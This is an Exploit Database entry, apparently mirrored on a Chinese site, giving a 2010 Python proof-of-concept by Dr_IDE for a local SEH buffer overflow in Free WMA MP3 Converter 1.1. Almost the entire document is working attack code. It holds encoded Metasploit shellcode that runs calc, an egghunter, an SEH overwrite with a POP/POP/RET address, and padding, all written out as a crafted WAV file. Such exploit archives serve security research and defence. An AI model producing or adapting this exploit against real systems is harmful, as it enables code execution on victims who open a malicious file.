Free WMA MP3 Converter 1.1 – Local Buffer Overflow (SEH)

• Exploit Database
• 34 阅读

• 作者： Dr_IDE
  日期： 2010-11-12
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15499/

• #!/usr/bin/env python
  ##############################################################################
  #
  # Free WMA MP3 Converter 1.1 Buffer Overflow Exploit (SEH)
  # Coded By: Dr_IDE
  # Date: November 10, 2010
  # Download: http://www.eusing.com/free_wma_converter/mp3_wma_converter.htm
  # Tested on:Windows XPSP3
  # Greets: edb team
  # Notes:	Egghunter was for fun, not required though.
  #
  ###############################################################################
  
  # windows/exec - 303 bytes
  # http://www.metasploit.com
  # Encoder: x86/alpha_upper
  # EXITFUNC=seh, CMD=calc
  # Egg is already injected
  code=(
  "\x80\x87\x78\x68\x80\x87\x78\x68\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59"
  "\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56"
  "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42"
  "\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43"
  "\x4a\x4a\x49\x4b\x4c\x4a\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51"
  "\x55\x47\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c\x4b\x50"
  "\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a\x4b\x51\x59\x4c\x4b\x50"
  "\x34\x4c\x4b\x43\x31\x4a\x4e\x46\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49"
  "\x50\x42\x54\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c"
  "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c\x4b\x51\x4f\x47"
  "\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45"
  "\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51"
  "\x4c\x46\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50\x56\x42"
  "\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x44\x30\x45"
  "\x4c\x4e\x4d\x4c\x4b\x43\x58\x45\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42"
  "\x4a\x50\x50\x43\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b"
  "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43\x51\x42\x4c\x42"
  "\x43\x43\x30\x41\x41")
  
  eggy=(
  "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
  "\x80\x87\x78\x68\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")
  
  nops=("\x90" * 8)
  nseh=("\xEB\x06\x90\x90")
  rseh=("\xEF\xF7\x4A\x00")			#Universal P/P/R - Wmpcon.exe		
  buf1=("\x41" * 1000)
  buf2=("\x42" * (4116 - len(buf1+nops+code)))
  junk=("\x43" * (8000 - len(buf1+buf2+nseh+rseh)))
  
  evil=(buf1+nops+code+buf2+nseh+rseh+nops+eggy+junk);
  
  f1 = open('Dr_IDE.wav','w');
  f1.write(evil);
  f1.close();
  
  #[http://pocoftehday.blogspot.com]